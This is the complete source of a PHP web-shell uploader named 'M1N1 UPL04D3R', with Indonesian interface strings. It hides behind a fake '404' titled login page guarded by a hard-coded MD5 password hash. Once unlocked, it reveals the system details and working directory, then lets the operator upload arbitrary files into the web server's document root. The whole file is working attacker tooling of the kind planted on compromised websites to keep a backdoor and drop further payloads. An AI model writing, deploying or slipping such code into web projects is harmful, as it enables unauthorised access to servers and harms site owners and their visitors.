<?php
session_start();

if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

if (isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true):
?>
<!DOCTYPE HTML>
<html lang="en-US">
<head>
    <meta charset="UTF-8">
    <title>M1N1 UPL04D3R</title>
</head>
<body bgcolor="black">
<center>
    <font color="red"><br><br>
    <h1><font face="courier" color="white" style="text-shadow: 0px 0px 30px white;">MINI UPL04D3R</font></h1><br>
    <a href="?logout" style="color:white; font-size:12px;">Logout</a><br><br>
    <?php
    echo '<font color=white size=4> System: <font color=red size=5>[ <font color=lime size=3>' . php_uname() . '<font color=red size=5> ]</font><br>';
    echo '<font color=white size=4>Directory: <font color=red size=5>[ <font color=lime size=3>' . getcwd() . '<font color=red size=5> ]</font><br><br>';
    ?>
    <form method="post" enctype="multipart/form-data">
        <input type="file" name="just_file">
        <input type="submit" name="upload" value="Gaskenn!">
    </form>
    <?php
    $root = $_SERVER['DOCUMENT_ROOT'];
    $files = $_FILES['just_file']['name'];
    $dest = $root . '/' . $files;
    if (isset($_POST['upload'])) {
        if (is_writable($root)) {
            if (@copy($_FILES['just_file']['tmp_name'], $dest)) {
                $web = "http://" . $_SERVER['HTTP_HOST'] . "/";
                echo "<font color='lime'>success -> <a href='$web$files' target='_blank'><b><u>$web$files</u></b></a>";
            } else {
                echo "<font color='red'> fail to upload .";
            }
        } else {
            if (@copy($_FILES['just_file']['tmp_name'], $files)) {
                echo " Upload <b>$files</b> Di Folder Ini";
            } else {
                echo "Gagal Upload";
            }
        }
    }
    ?>
</center>
</body>
</html>
<?php
// ========== BAGIAN LOGIN ==========
else:
    $error = '';
    if (isset($_POST['password'])) {
        if (md5($_POST['password']) === '7d2fc95da76e20f7b7e0fc6a911834d7') {
            $_SESSION['logged_in'] = true;
            header('Location: ' . $_SERVER['PHP_SELF']);
            exit;
        } else {
            $error = '<font color="red"><b>Wrong password!</b></font>';
        }
    }
?>
<!DOCTYPE HTML>
<html lang="en-US">
<head>
    <meta charset="UTF-8">
    <title>404</title>
</head>
<body bgcolor="black">
<center>
    <?php echo $error; ?>
    <form method="post">
        <font color="white">Pass:</font><br>
        <input type="password" name="password"><br><br>
        <input type="submit" value="Access!">
    </form>
</center>
</body>
</html>
<?php endif; ?>